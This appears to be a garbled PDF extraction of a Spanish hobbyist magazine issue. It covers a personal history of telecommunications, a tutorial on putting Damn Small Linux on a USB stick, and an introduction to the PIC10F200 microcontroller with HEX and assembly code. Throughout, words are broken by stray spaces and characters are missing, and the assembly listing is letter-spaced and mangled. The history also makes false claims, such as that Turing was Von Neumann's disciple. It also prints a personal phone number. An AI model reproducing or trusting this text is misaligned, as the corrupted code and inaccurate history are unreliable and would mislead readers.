duce en 1918 cuando Edwin Armstrong in v en ta el su-

p erhetero dino (v er Cuadro 2).

EL TRIODO Y EL TRANSISTOR

Uno de los ma y ores in v en tores de la historia, Thomas

Alv a Edison, estaba realizando exp erimen tos con su

in v en to más cono cido (la b om billa) cuando descubrió

que ciertos metales en el v acío eran capaces de emi-

tir electrones si están a temp eratura su�cien te. Este

efecto, llamado efecto termoiónico o efecto Edison, no

fue apro v ec hado hasta que un grup o de ingenieros de

la W estinghouse desarrollaron la v álvula dio do.

CUADR O 2: HETER ODINO Y SUPERHETER ODINO

El principio hetero dino, establece la técnica de mo dulación analógica basada en in tro ducir dos señales en un disp ositiv o no

lineal para lograr obtener (p or �ltrado) el pro ducto de am bas a la salida.

El sup erhetero dino es un receptor en dos fases: primero se ba ja la señal a una frecuencia in termedia (constan te) para

después realizar la demo dulación propiamen te dic ha.
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Figura 5: Válvula de V acío

El dio do es un recti�cador que se basa en una amp olla

donde se ha hec ho el v acío y se tienen dos electro dos:

el cáto do se man tiene calien te (con un �lamen to simi-

lar al de una b om billa llamado �lamen to de caldeo)

y el áno do está lo bastan te alejado para man tenerse

frío y no emitir electrones; de esa forma la corrien te

sólo puede circular en un sen tido. El dio do de v álvula

era m uc ho mejor que el basado en cristal (que había

in v en tado F erdinand Braun) y lo sustituy ó en to dos

los receptores.

El siguien te paso fue in tro ducir una rejilla en tre el

áno do y el cáto do. La tensión aplicada a esa rejilla

p o día servir para con trolar la can tidad de corrien te

que circula. Nacía el trio do que se emp ezó a usar co-

mo elemen to ampli�cador y tam bién como mo dula-

dor. La ciencia de la electricidad alum braba a su hija

predilecta: la electrónica.

En 1951 se daba el salto de�nitiv o: Wiliam Bradford

Sho c kley in v en taba el transistor en 1951. El transistor

(basado en semiconductores) era m uc ho más p equeño

y consumía in�nitamen te menos que las v álvulas. La

limitación del transistor fren te a las v álvulas es su p o-

ca capacidad para manejar señales de p otencias m uy

altas (KW, tensiones de KV y corrien tes de 1 ó 2 A).

Eso hace que en algunas estaciones emisoras de radio

se sigan usando v álvulas en la última etapa ampli�-

cadora. Las v álvulas fueron sustituidas p or la n uev a

tecnología y eso p ermitió la creación de disp ositiv os

cada v ez más p equeños, �ables y de más ba jo consu-

mo.

Sho c kley recibió el premio Nob el en 1956. A p esar

de su indudable mérito se le recuerda como un hom-

bre p olémico. Realizó declaraciones racistas en las que

dudaba de la capacidad in telectual de la raza negra.

F undó una empresa en California p ero o c ho de sus in-

genieros la abandonaron p or no sop ortar el carácter

difícil de Sho c kley (en tre ellos estaban Rob ert No yce

y Gordon Mo ore que después fundarían In tel).

LA TELEVISIÓN

De n uev o el pre�jo �tele�. TELEVISIÓN = �Visión a

distancia� (y casi diría: imagen a distancia). Un vie-

jo cono cido, F erdinand Braun, in v en tó el osciloscopio

(1897) y con él el tub o de ra y os cató dicos. A demás

fue fundamen tal el descubrimien to de las propiedades

electro ópticas del selenio (su resistencia v aría con la

luz que recib e). En 1923, Vladimir Zw orykin desarro-

lla el iconoscopio, el primer tub o de cámara práctico.

CUADR O 3: TUBO DE CÁMARA

El tub o de cámara fue la primera tecnología de cap-

tura de imagen en mo vimien to. Se basaba en un tub o

de ra y os cató dicos y una resistencia v ariable con la

luz. No fue sustituido hasta la década de los no v en ta,

cuando aparecieron los sensores de imagen de estado

sólido (CCD's).

El considerado p or to do como padre de la televisión

es John Logie Baird que en 1927 logró transmitir una

señal a una distancia de 438 millas en tre Londres y

Glasgo w, para ello in tro dujo una señal analógica en

un cable telefónico in terurbano.

En 1937 estaba en el mercado en Inglaterra un recep-

tor de TV de 405 líneas. La empresa que lo fabricaba

era la Marconi-EMI.

El ingeniero mexicano Guillermo González Camarena

desarrolló el primer sistema de TV en color en 1940.

Este in v estigador fue una p ersona curiosa y p olifacé-

tica: m úsico, astrónomo, meteorólogo e ingeniero elec-

tromecánico. Construy ó su propia cámara de TV a los

17 años, su paten te de la TV color fue registrada cuan-

do tenía 23 años. Las primeras emisiones en color se

realizaron en México en 1963. El 18 de abril de 1965

regresaba de insp eccionar el transmisor-rep etidor del

cerro de Las La jas (V eracruz) y sufrió un acciden te de

trá�co mortal (tenía 48 años).

Figura 6: Receptor alemán de la década de

los 50

INTERNET

A prop ósito (repito que esta es una v ersión p ersonal),

no he incluido el ordenador. Como he dic ho m uc has

v eces: telecom unicación no es informática. Los inge-

nieros de telecom unicación estudian m uc ha informáti-

ca y m uc hos lo apro v ec han para traba jar en ello p ero

n uestro traba jo es mo v er la información, no su trata-

mien to.
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Lo que sí en tra de lleno en el terreno de la teleco-

m unicación es la com unicación en tre ordenadores o,

dic ho de una forma más general, en tre máquinas. En

la de�nición original hablaba de com unicación en tre

p ersonas, ho y en día la com unicación en tre máquinas

es igual de imp ortan te (aunque detrás de una máquina

siempre ha y una o v arias p ersonas: sus usuarios).

La red de computadoras �ARP ANET� (A dv anced Re-

searc h Pro jects Agency Net w ork) fue creada p or en-

cargo del Departamen to de Defensa de los Estados

Unidos como medio de com unicación para los diferen-

tes organismos del país. El primer no do se creó en

la Univ ersidad de California. En 1983 se �nalizó la

transición desde los primeros proto colos utilizados al

actual (TCP/IP). A partir de ese momen to el in terés

en conectarse a esa red comenzó a extenderse p or to do

el m undo dando lugar a la arc hicono cida red INTER-

NET.

El equip o que desarrolló la primera ARP ANET estuv o

liderado p or Bob T a ylor y tuv o m uc hos miem bros des-

tacados como La wrence G. Rob erts y W esley A. Clark.

Estos ingenieros utilizaron ampliamen te los traba jos

de Donald Da vies y P aul Baran que habían esp eculado

sobre el concepto de conm utación de paquetes.

In ternet no sería nada sin los servicios que ofrece a

sus usuarios, los más destacados son (siempre según

opinión mía):

El correo electrónico: el servicio fundamen tal,

to dos los usuarios lo consultan nada más conec-

tarse. Se lo deb emos a Ra y T omlinson. Primero

desarrolló un correo in terno en tre los diferen tes

usuarios de un ordenador con m uc has termina-

les. Después el sistema ev olucionó para com uni-

car usuarios de v arias máquinas.

La W orld Wide W eb (telaraña m undial): el se-

gundo servicio más imp ortan te (o el primero).

Los primeros sistemas de información (gopher,

w ais ...) eran difíciles de usar. Tim Berners-Lee

desarrolló la WWW en el CERN (Cen tro Euro-

p eo de in v estigaciones en física a v anzada) como

una forma agradable de compartir textos cien-

tí�cos. F ue cla v e el concepto de hip ertexto (las

palabras imp ortan tes pueden con v ertirse en en-

laces que llev an a otros textos p ero no se altera

su p osición en el texto original). El éxito del

formato fue tal que ho y no sólo se utiliza para

presen tar información sino para acceder a to do

tip o de servicios: comerciales, lúdicos, cien tí�-

cos... La p osibilidad de usar las páginas W eb

como in terfaz de una base de datos abrió un

m undo in�nito.

Los buscadores: el gopher fue probablemen te el

primer buscador de in ternet. Con el nacimien to

de la WWW nacieron los buscadores W eb m u-

c ho más fáciles de usar y m uc ho más v ersátiles.

El primero fue �Y aho o!� un buscador con estruc-

tura de árb ol (que al principio se man tenía casi

man ualmen te). Los creadores de Y aho o! fueron

dos estudian tes de p ostgrado de Stanford: Jerry

Y ang y Da vid Filo. El segundo gran hito en los

buscadores W eb fue go ogle. Go ogle se basa en el

algoritmo �P ageRank� que clasi�ca las páginas

W eb estadísticamen te asignando a cada una la

probabilidad de que sea �lo que realmen te bus-

camos�. La idea fundamen tal ba jo P ageRank es

que si buscamos páginas con la palabra �Mar-

coni� la más in teresan te será la que más v eces

está enlazada desde otras páginas. Curiosamen-

te, Go ogle tam bién fue desarrollado p or otros

dos estudian tes de p ostgrado de Stanford: Ser-

gey Brin y Larry P age.

CUADR O 4: LOS P ADRES DE LOS ORDENADORES

Aunque sea en un cuadro, los padres del ordenador SÍ merecen un homena je: el concepto de la máquina

programable fue ideado p or Charles Babbage en el siglo XIX. En tre 1820 y 1842 in ten tó construirla de

diferen tes formas, no lo logró.

A quí p o demos recordar al ingeniero español Leonardo T orres Quev edo. A demás de imp ortan tes logros en

el diseño de teleféricos y funiculares, este ingeniero de caminos era un gran a�cionado a los autómatas. A

principios del siglo XX, construy ó la primera máquina capaz de jugar al a jedrez con tra un h umano.

La arquitectura de los ordenadores utilizada hasta ho y fue establecida p or el matemático h úngaro John

V on Neumann.

El impulso de�nitiv o lo dio un discípulo de V on Neumann: Alan T uring. T uring traba jó para el gobierno

británico duran te la segunda guerra m undial en el cen tro militar de Bletc hley P ark. Allí construy eron la

computadora llamada �Colossus� y tam bién la �Bom b e� que sirvió para romp er los có digos de la máqui-

na que utilizaba el ejército nazi para cifrar sus com unicaciones (la famosísima �Enigma�, una máquina

electromecánica que se basaba en el giro de m uc hos discos con caracteres desordenados).

T uring tuv o una vida infeliz y atormen tada, fue pro cesado p or el �delito� de man tener relaciones homose-

xuales y m urió en v enenado en extrañas circunstancias (la v ersión o�cial lo registró como suicidio aunque

no terminó la manzana con taminada con cian uro).

Después de Bletc hley P ark los norteamericanos J.P . Ec k ert y J.W. Mauc hly crearon ENIA C, computador

diseñado para calcular tra y ectorias de pro y ectiles.
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LAS TEORÍAS

Y ahora v amos a repasar las teorías... Una buena pre-

gun ta es ¾P or qué vienen después? Realmen te, es p or-

que se me o currió incluirlas aparte cuando y a había

emp ezado con los in v en tos. Alguien puede p ensar que

tengo tendencia a v alorar más las in v estigaciones prác-

ticas, puede ser que sí y que mi inconscien te me ha y a

traicionado. Recordad:

A v eces, el ser h umano v e la pun ta del iceb erg y pue-

de apro v ec harla (crear un in v en to o desarrollo útil).

Así se emp ezaron a explotar los sistemas eléctricos

sin comprender bien sus ley es. Sin em bargo si no se

desarrolla una teoría que explique el iceb erg comple-

to, n unca se dominará realmen te el fenómeno ni se

apro v ec hará más que sup er�cialmen te.

LA TRANSF ORMAD A DE F OURIER Y

EL ANÁLISIS ESPECTRAL

Jean-Baptiste-Joseph F ourier (nacido en Auxerre en

1768, m uerto en P arís en 1830 en P arís) tuv o una vi-

da a jetreada como militar y p olítico en la ép o ca de

Nap oleón.

Sin em brago ho y lo recordamos p or su con tribución a

la ciencia. Este hom bre p olifacético estudió la propa-

gación del calor y descubrió que to da función p erió di-

ca, con tin ua o no, se puede expresar como una serie de

funciones senoidales (teorema de F ourier). Este resul-

tado fue m uy criticado p or otros cien tí�cos de la ép o ca

como Lagrange o Laplace que defendían que era imp o-

sible obtener una función discon tin ua sumando otras

con tin uas (realmen te, sí que es p osible si la suma es

in�nita).

Si em bargo este resultado abrió to do un m undo de

la matemática aplicable a m uc has ciencias y cono cido

como análisis esp ectral. La serie de F ourier (y su v er-

sión para funciones ap erió dicas: la transformada de

F ourier) es otra forma de represen tar cualquier fun-

ción que puede ser útil para m uc hos estudios y para

resolv er algunas op eraciones que de otra forma serían

excesiv amen te complejas (como resolv er algunas ecua-

ciones diferenciales).

Figura 7: Joseph F ourier

El análisis esp ectral es imp ortan te para la física, la

astronomía y m uc has otras ciencias. P ara la teleco-

m unicación es fundamen tal. T o do ingeniero de teleco-

m unicación considera tan natural manejar las trans-

formaciones de F ourier como sumar y restar. P o dría-

mos decir que es la teoría fundamen tal que p ermite

analizar to das las señales y su pro cesado.

Las transformadas de F ourier p ermiten en tender las

mo dulaciones usadas en radio y televisión. P ermiten

predecir las consecuencias que algunos pro cesados que

hace el sistema telefónico v an a tener sobre la v oz... Si

tuviéramos que elegir un patrón h umano de la teleco-

m unicación F ourier sería un serio candidato (Nuestro

patrón o�cial (y divino) es el arcángel Gabriel, el men-

sa jero).

LAS ECUA CIONES DE MAXWELL Y LA

TEORÍA ELECTROMA GNÉTICA

James Clerk Maxw ell (nació en Edim burgo en 1831

y m urió en Glenlairen 1879) fue el padre de la teoría

matemática del electromagnetismo. La increíble men-

te matemática de Maxw ell fue capaz de estudiar la

obra de m uc hos in v estigadores an teriores (V olta, Am-

p ere, F arada y ...) y resumir sus exp erimen tos en cua-

tro ecuaciones (ecuaciones de Maxw ell).

Figura 8: James Clerk Maxw ell

Desde que Maxw ell estableció sus ecuaciones to dos los

estudios sobre electromagnetismo (an tenas, ondas li-

bres, ondas guiadas ...) han consistido en resolv erlas

en diferen tes en tornos.

Alb ert Einstein describió el traba jo de Maxw ell co-

mo .

el

más profundo y pro v ec hoso que la física ha ex-

p erimen tado desde los tiemp os de Newton". En mi

opinión, el genio alemán recordaba que calcular tra-

y ectorias, v elo cidades, fuerzas.. no fue un problema

desde que se en unciaron las ley es de Newton, al igual

que el cálculo electromagnético quedó de�nido p or las

cuatro ecuaciones de Maxw ell.

Maxw ell sería sin duda un buen candidato al título de

patrón de las telecom unicaciones. No me pregun téis si

v oto p or él o p or F ourier, no sabría qué decir.

LA TEORÍA DE LA INF ORMA CIÓN

Duran te m uc ho tiemp o (prácticamen te desde que se

fundó la Escuela de Madrid en 1931 hasta los años 80)

la preo cupación principal del ingeniero de telecom uni-

cación era transmitir y/o pro cesar las señales básicas

de la com unicación h umana directa: v oz, sonido (que

es una señal más rica que la v oz) e imagen.

23| OCCAM's Razo r



DOSSIER

Sin em bargo, desde Morse, existe otro tip o de señal:

los datos. Aunque, como digo, existieron siempre la

preo cupación p or los datos se disparó con los orde-

nadores y la p osibilidad de com unicarlos (telemática,

v er apartado de in ternet).

Así como la teoría para estudiar las señales de audio o

imagen es m uy an tigua (y basada en la transformada

de F ourier). Hasta 1948 no se publicó una teoría que

caracterizara matemáticamen te los datos. Esa n uev a

ciencia se llamó �T eoría de la Información� y su padre

fue Claude Shannon.

Shannon era ingeniero eléctrico p or la Univ ersidad de

Mic higan y realizó una tesis do ctoral en el MIT (Ins-

tituto de T ecnología de Massac h ussets) donde estudió

las aplicaciones del álgebra b o oleana (o binaria) a la

conm utación y a los circuitos digitales (v er Cuadro

5.1).

Shannon pasó quince años en los lab oratorios Bell (v er

Cuadro 5.2), donde traba jó con grandes cien tí�cos co-

mo Harry Nyquist (padre de la teoría que p ermite di-

gitalizar señales (v er Cuadro 5.3), o William Bradford

Sho c kley (in v en tor del transistor).

F ué en este p erio do cuando Shannon desarrolló la teo-

ría de la información publicando el libro Üna T eoría

Matemática de la Com unicación". En este traba jo se

demostró que to das las fuen tes de información (telé-

grafo eléctrico, teléfono, radio, la gen te que habla, las

cámaras de televisión, ...) se pueden medir y que los

canales de com unicación tienen una unidad de medida

similar. Mostró tam bién que la información se puede

transmitir sobre un canal si, y solamen te si, la magni-

tud de la fuen te no excede la capacidad de transmisión

del canal que la conduce, y sen tó las bases para la co-

rrección de errores, supresión de ruidos y redundancia.

Claude Elw o o d Shannon falleció el 24 de febrero del

año 2001, a la edad de 84 años. Duran te sus últimos

años sufrió la terrible enfermedad de Alzheimer que

destruy ó su privilegiada men te.

Shannon sin duda deb ería ser otro candidato a pa-

trón... Tiene quizás un handicap: creo (y sólo es una

opinión) que la ma y oría de los ingenieros recordamos

la teoría de la información como una disciplina árida

y difícil de estudiar. Sin em bargo, eso no deb ería res-

tarle mérito a una de las grandes men tes del siglo XX

y uno de los padres de la tecnología digital.

FINAL

P ara terminar recordaros que ésta es una selección

p ersonal. Seguro que to dos p ensáis que me he olvida-

do de alguien o algo. O tal v ez que he incluido algo de

menor imp ortancia al resto. T o das las propuestas son

v álidas. Seguro que si y o mismo releo el artículo den tro

de un par de meses decido cam biar algo. Comen tarios

a: fmartin@uvigo.es.

El apartado de bibliografía es m uy corto. T o dos los

datos: fec has, nom bres (algunos de complicada orto-

grafía)... pro ceden de la enciclop edia libre �Wikip edia�

(h ttp://es.wikip edia.org). A lo mejor, deb eríamos in-

cluirla como un imp ortan te hito.

CUADR O 5: MÁS INF ORMA CIÓN

1. Los circuitos digitales no traba jan con señales con tin uas como los analógicos. Se trata de

tratar con v alores n uméricos generalmen te expresados en base 2 (los dígitos p osibles son 0

ó 1, un dígito binario se llama bit: binary digit). Si oís a un ingeniero francés hablar de

televisión o telefonía �n uméricas� se re�ere a sistemas digitales (incluso ha y libros traducidos

del francés que hablan de sistemas n uméricos). ¾No os parece que �n umérico� es un término

que dice m uc ho más que �digital�?

2. Sí, sí, lo que p ensáis: el departamen to de in v estigación de la empresa que fundó Alexander

Graham Bell. Ho y día el gobierno norteamericano obligó a su división (para evitar monop o-

lios) dando lugar a: Lucen t T ec hnologies, A T&T, Bell A tlan tic, Southern Bell, P aci�c Bell y

seguro que se me escapa alguna.

3. Publicada en 1928 en el artículo �Certain topics in T elegraph T ransmission Theory�. Ahora

se cono ce como teorema del m uestreo o teorema de Nyquist (en algunos libros teorema de

Nyquist-Shannon).
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GNU/Linux en USB

Como lleva r nuestro sistema en el b olsillo

p o r Er Viajante

Q ué te parecería llev arte tu sistema GNU/-

Lin ux a cualquier parte, guardadito en un b ol-

sillo o en un sobre de pap el... que si, que no...

P edimos disculpas p or esta regresión infan til. En

este artículo os v amos a con tar como instalar un

sistema GNU/Lin ux completo en una memoria

USB para p o der usar vuestro sistema op erativ o

fa v orito en cualquier ordenador.

Una de las v en ta jas que tienen los sistemas GNU/-

Lin ux es que se pueden p ersonalizar hasta extremos

inconcebibles. Uno de estos casos es la mini distribu-

ción DSL ( http://www.damnsm al lli nu x. org / ) tam-

bién cono cida como Damn Smal l Linux , lo que se p o-

dría traducir p or Linux Malditamente Pe queño o algo

más fuerte.

¾POR QUÉ DSL?

Buena pregun ta (y no es p orque la ha y a hec ho y o :).

En realidad, ho y p or ho y , existen un mon tón de distri-

buciones que se pueden instalar en un disp ositiv o de

almacenamien to USB de forma sencilla y realmen te no

ha y m uc ha diferencia en tre utilizar unas u otras. De

to das formas, resp ondiendo a la pregun ta, p o demos

decir:

De to das las que probamos fue la que dio menos

problemas.

Está basada en knoppix, utilizando su sistema

de detección de hardw are que nos ofrece cierta

seguridad de que funcionará en la ma y oría de los

ordenadores.

Es m uy p equeña y se puede cargar totalmen te

en RAM como lo que �vuela�.

Tiene un sistema de paquetes de extensión

myDSL m uy sencillo de utilizar.

LA F ORMA F A CILÍSIMA

La forma más sencilla de instalar DSL en un disp osi-

tiv o externo USB es la siguien te:

Arranca con el Liv e-CD que puedes descargarte

de http://www.damnsm al ll inu x. org /

Selecciona el men ú instalar en disp ositiv o USB

pulsando con el b otón derec ho sobre el escritorio

(App ! T o ols ! Install to P en-Driv e)

A quí tendremos que escoger si el disp ositiv o v a a

arrancar con bios USB-ZIP o USB-HDD. Esto y a de-

p enderá del sistema �nal en el que se v a y a a ejecutar

y el sop orte que de su BIOS para el arranque desde

disp ositiv os USB.

� DSL es una de las distribuciones

Linux más p e queña y que ofr e c e

un c onjunto de herr amientas b as-

tante c ompleto�

Según la do cumen tación de syslinux el mo do reco-

mendado es USB-HDD, sin em bargo, ciertas BIOS so-

lo sop ortan el mo do USB-ZIP en el que la tabla de

particiones del disp ositiv o USB deb e tener un formato

esp ecial. Los ordenadores mo dernos suelen sop ortar el

sistema USB-HDD, p ero si no estás seguro comprueba

en tu BIOS qué tip os están sop ortados.

P ara asegurar, usa dos memorias USB :)

EXTENSIONES MYDSL

Como comen tábamos más arriba, la mini-distro DSL

prop orciona un sencillo sistema de extensiones cono-

cidas como myDSL . En la propia w eb de DSL se man-

tiene un rep ositorio con v arias aplicaciones empaque-

tadas utilizando este sistema. Comen taros que exis-

ten otros dos tip os de extensiones que puede manejar

DSL: .uci y tar.gz. No las v amos a discutir en este

artículo p ero siempre está bien sab erlo.

El propio sistema DSL incorp ora una herramien ta grá-

�ca para el manejo de estas extensiones que p o déis

encon trar en el men ú:

Applications ! T o ols ! m yDSL Extension Bro wser

Estas extensiones tam bién pueden ser cargadas cuan-

do el sistema arranca, y a sea con�gurando los paráme-

tros de arranque del sistema o simplemen te copiando

los �c heros .m ydsl que nos in teresen en el directorio

raíz del disp ositiv o USB.
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CREANDO EXTENSIONES

Una tarea in teresan te es crear n uestras propias exten-

siones, de forma que p o damos instalar n uestros pro-

gramas en el disp ositiv o USB para ejecutarlos en otra

máquina, p or ejemplo, a mo do de demostración.

Los paquetes m yDSL son simples �c heros tar.gz que

se descomprimen desde el directorio raíz, como la ma-

y oría de los sistemas de paquetes. A mo do de ejemplo,

v amos a crear un paquete para n uestras prácticas de

lab oratorio de programación in temp estiv a. Los pasos

a seguir serían estos:

# cd /tmp

# mkdir -p pkg/usr/local/bin

# mkdir -p pkg/usr/local/src

# cp pract1 parct2 parct3 pkg/usr/local/bin

# cp pract1.c parct2.c parct3.c pkg/usr/local/bin

# tar czvf intemps.dsl ./pkg

O si hemos sido preca vidos y utilizado las A utoto ols

de GNU...

# ./configure --prefix=/tmp/pkg

# make && make install

# cd /tmp

# tar czvf intemps.dsl ./pkg

Lo que nos simpli�ca un mon tón las cosas, sobre to do

en cuan to emp ezamos a tener librerías, ejecutables,

�c heros de con�guración, do cumen tación, etc...

OTRAS VENT AJAS

A demás de to do lo comen tado hasta el momen to, DSL

tiene un par de características m uy in teresan tes. La

primera de ellas es la op ción de cargar to do el sistema

en memoria RAM, con lo que conseguimos que n ues-

tro sistema no tenga que acceder al disp ositiv o USB

para nada y p or tan to se ejecute m uc ho más rápido.

P ara utilizar esta op ción, solamen te tenemos que pa-

sar el parámetro toram al sistema utilizando el prompt

que se nos prop orciona en la pan talla de arranque.

Otra op ción in teresan te es que DSL incluy e qemu , una

máquina virtual capaz de sim ular un PC completo.

Esto p ermite a DSL arrancar en una v en tana den tro

de una sesión Windo ws, con lo cual p o dremos utilizar

n uestro sistema incluso si la máquina no disp one de

op ciones de arranque p or USB o CD-R OM.

Finalmen te, comen tar que DSL tam bién se puede ins-

talar como un Liv e-CD, es decir, como un sistema ca-

paz de arrancar desde un CD-R OM sin necesidad de

instalar ningún �c hero en n uestro disco duro, lo que

se con vierte en una in teresan te op ción si una deter-

minada máquina no disp one de la op ción de arranque

USB.

Lo in teresan te de este Liv e-CD y de donde toma

el nom bre esta distribución, es que solamen te o cupa

50Mb, p or lo que puede grabarse en un CD de 23 min,

de esos p equeñitos, e incluso en los promo cionales con

forma rectangular y tamaño de tarjeta de visita.

HAST A LA PRÓ XIMA

En este artículo os hemos con tado algunas de las p o-

sibilidades que ofrecen las n uev as distribuciones de

GNU/Lin ux, cen trándonos en un caso concreto: DSL.

Como comen tábamos existen m uc has otras y las p o-

sibilidades de p ersonalización de estos sistemas son

realmen te increíbles. No dudéis en en viarnos historias

sobre como utilizáis v osotros estas herramien tas.

Hasta el pró ximo n úmero.
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PIC10F200

EL MÁS PEQUE DE MICROCHIP

p o r Ca rlos Ro dríguez Alempa rte

A principios del 2.006 llegaron a mis manos

las primeras m uestras de este micro con trolador,

cortesía del fabrican te y anki de Arizona MICR O-

CHIP . Desde hace unos 5 años v engo proban-

do y a unos cuan tos tip os de micro con troladores

PIC, p ero tengo que recono cer que este ha sido

uno de los que más ha desp ertado mi curiosi-

dad desde el momen to en que vi el tip o de pro-

ducto que era en la página w eb de Micro c hip:

www.MicroChip.com

Esta gen te estaba ap ostando p or un micro con trolador

de prestaciones casi ridículas, p o co menos que te da-

ba la risa al v er el tip o de arquitectura que tenía. Sin

em bargo, al mismo tiemp o, te quedabas prendado de

esa simplicidad casi máxima, y al instan te la siguien te

pregun ta era: �Bueno, ... y esto ... ¾cuán to cuesta?�

Pues la respuesta fue que el PIC10F200 se p o día con-

seguir al precio de 47 cén timos de euro si p edía una

tandada de 26 unidades jun to con otro p edido lo su�-

cien temen te grande como para que los p ortes de en vío

no enmascarasen el precio del pro ducto. Y o la v erdad

tenía un p edido de unos 600 euros casi, con lo cual los

12.50 euros de p ortes no eran m uy signi�cativ os. Lo

realmen te in teresan te es que tenemos un micro con-

trolador reprogramable con to da su in teligencia p or

menos de medio Euro, sí, menos de 0.50 euros.

Por menos de 50 c éntimos de eu-

r o pue des c onse guir to do un mi-

cr o c ontr olador

Y a han pasado unos meses y , eviden temen te, la cosa

no ha ido a más, y me re�ero al precio. Ahora, en

el mes de No viem bre del 2.006 lo p o demos conseguir

p or 36 cén timos a partir de 100 unidades comprando

en Micro c hip Direct, o sea, directamen te al fabrican te,

cosa que y a es p osible desde hace unos 2 años en Espa-

ña, con lo cual el in termediario que le gana un pastón

a este material queda fulminado de la cadena comer-

cial de incremen to de costes, otro efecto b ene�cioso

de la globalización (y no digo que to dos lo sean, ...).

A con tin uación, una captura de pan talla de la página

de compra de MicroChip Direct para el 10F200:
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Página de Compr a de Micr o chip

EL P A TILLAJE

En la siguien te imagen p o demos v er un esquema del

patilla je del 10F200, con sus 4 puertos de en trada/-

salida. Salv o el GP3, que sólo puede funcionar como

en trada o pin de RESET p or niv el ba jo, según se con-

�gure, cualquiera de los otros 3 pines se puede con�-

gurar como en trada o como salida. A demás en estos 3

últimos pines (GP2, GP1 y GP0) se puede colo car un

pull-ip in terno de unos 10 K, evitando comp onen tes

externos.

Patil laje del PIC10F200

Una op ción in teresan te para el pin GP2 es la de sa-

car una réplica del oscilador in terno dividido p or 4. El

PIC10F200 tiene un oscilador in terno de 4 MHz que le

p ermite pro cesar instrucciones a 1 MIP ( en general,

y a que los cam bios de �ujo, como GOTO o CALL p or

ej., consumen lo mismo que 2 instrucciones normales).

Esa señal cuadrada de 1 MHz puede ser m uy útil para

m ultitud de aplicaciones.

INSTRUCCIONES Y MEMORIA

El PICF200 cuen ta con 256 instrucciones de FLASH,

lo que nos p ermite darle hasta 256 órdenes, del tip o

GOTO, CALL, MO V, SW AP , BTFSS, RET, etc. La

FLASH se puede reprogramar hasta unas 100.000 v e-

ces, con una retención en las celdillas de la FLASH de

al menos 40 años, según MicroChip.

Carece de memoria EEPR OM y sólo p ermite anidar

2 v eces la instrucción CALL, o sea, la tercera v ez que

hagamos un CALL sin un RETL W, nos v amos a las

�quim bam bas� y a partir de ahí es como jugar a la

lotería.

Cuen ta con in terrup ciones, aunque el v ector de in te-

rrup ción coincide con el v ector de RESET, o sea que

... , al saltar una in terrup ción en realidad el micro se

resetea y sólo disp onemos de unos bits de estado es-

p eciales en el registro ST A TUS para en terarnos de si

acabamos de iniciar la ejecución ( arranque o Reset )

o si saltó una in terrup ción. La v erdad es un p equeño

engorro, estando acostum brado a los 12F y 16F con

el v ector de in terrup ción en la dir 04 de la FLASH, y

con 8 niv eles de anidamien to.

El PIC10F200 pr op or ciona una

pila de solo 2 p osiciones

ALGUNAS APLICA CIONES

Así y to do, para hacer m ultitud de ton terías sigue

siendo un micro m uy útil y v álido. Y o la 1

a

aplicación

in teresan te que le he dado ha sido la de cargar los re-

gistros de un PLL de acceso p or bus serie de 3 hilos

( Latc h Enable, Clo c k y Data ) para un ADF4360 de

Analog Devices, para un traba jito para F ernando Isa-

si, otro en tusiasta del Hardw are de la Univ ersidad de

Vigo, y padrino tecnológico de m uc hos de nosotros.

Y la 2

a

fue la de secuenciar unos có digos de destellos

para una baliza óptica con 1 LED LUXEON I I I, para

un prototip o para el CIS ( Cen tro de In v estigaciones

Submarinas ), otra empresa gallega al alza gracias a la

p olítica actual que fomen ta la In v estigación y el Desa-

rrollo tecnológicos. Bueno, esp ero que mi to ca y o del

CIS acab e usando esos LUXEONs en algún pro ducto

comercial.
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UN EJEMPLO

Y como la teoría está m uy bien, p ero y o so y un �el

defensor de la práctica y las cosas palpables en tre los

dedos, a con tin uación p onemos un p equeño có digo

fuen te en ASM para emp ezar a hacer pinitos con el

10F200.

Lo que hace es una parida (una trivialidad, para los

que no en tienda el término): el programa con�gura los

puertos de en trada y salida del PIC, activ a la salida

de la onda cuadrada de 1 MHz en el GP2 y después

se p one a c hequear un pulsador conectado a un pin

de en trada del PIC, en el GPIO Cero, haciendo un

eco de este pin de en trada sobre el LED conectado al

GPIO1, con�gurado como salida.

El pulsador disp one de un pull-up in terno en el PIC

de unos 10 K que tam bién activ amos previamen te, lo

cual nos evita p oner uno externo.

El có digo máquina compilado es tan sencillo como el

que sigue, en formato .hex, lo p ongo p orque puede ser

útil para quien no esté familiarizado con el MPLAB

(el ensam blador de Micro c hip):

:020000040000FA

:100000007000090C06000F0C0200 05050 60726 0407

:0600100006062605060AA3

:021FFE00EB0FE7

:00000001FF

Y a con tin uación un esquema para v er con claridad lo

que deb emos de mon tar para probar ese có digo fuen te

con el 10F200.

Es una captura de pan talla de un sim ulador bastan te

bueno para micro con troladores PIC, aunque p or des-

gracia tiene una in terfaz con el usuario que p o dría

llev arse to dos los primeros premios habidos y p or ha-

b er para el programa informático menos in tuitiv o del

mercado. La v erdad es que aún no he cono cido a na-

die que ha y a logrado no cabrearse al emp ezar a hacer

cosas con el Proteus, lo cual tiene mérito (negativ o...,

p ero mérito).

Bueno, y sin más ... un saludo para to do el grup o del

GPI de la Univ ersidad de Vigo, y para los del Lab o-

ratorio 303 de Ingeniería de Radio. Si alguien tiene

alguda duda o sugerencia y a sab e:

Phone: 649 12 69 62

Mail: CarlosAlemparte @u vi go. es

; P R O G R A M A d e M U E S T R A p a r a e l 1 0 F 2 0 0 b y EB1IVJ ,

; C a r l o s R . A l e m p a r t e , N o v 2 0 0 6

;

; E s t e p r o g r a m a h a c e u n e c o d e u n p u l s a d o r e n G P I O _ 0 s o b r e u n L E D e n G P I O _ 1 y s a c a

; p o r G P I O 2 u n a o n d a c u a d r a d a d e 1 M H z , ú t i l como o s c i l a d o r

L I S T P =10 F 2 0 0 ; m i k r o k o n t r o l a d o r P I C k u s a m o s

_ _ C O N F I G _ C P _ O F F & _ W D T _ O F F & _ M C L R E _ O F F & _ I n t R C _ O S C

# i n c l u d e < p 1 0 F 2 0 0 . i n c >

# d e f i n e P U L S A D O R G P I O , 0 ; p i n 1

# d e f i n e L E D G P I O , 1 ; p i n 3

; R A M d i s p o n i b l e : D e s d e H ' 1 0 ' h a s t a H ' 1 F ' , s ó l o 1 6 B Y T E s

U N A _ V A R I A B L E E Q U 0 x 1 0 ; p o n e m o s e s t o p a r a v e r como s e a s i g n a u n n o m b r e a u n a v a r i a b l e

O R G 0 0 0 0 H ; m o n t a l a s i n s t r u c c i o n e s a p a r t i r d e l a d i r H ' 0 0 0 0 ' d e l a F L A S H

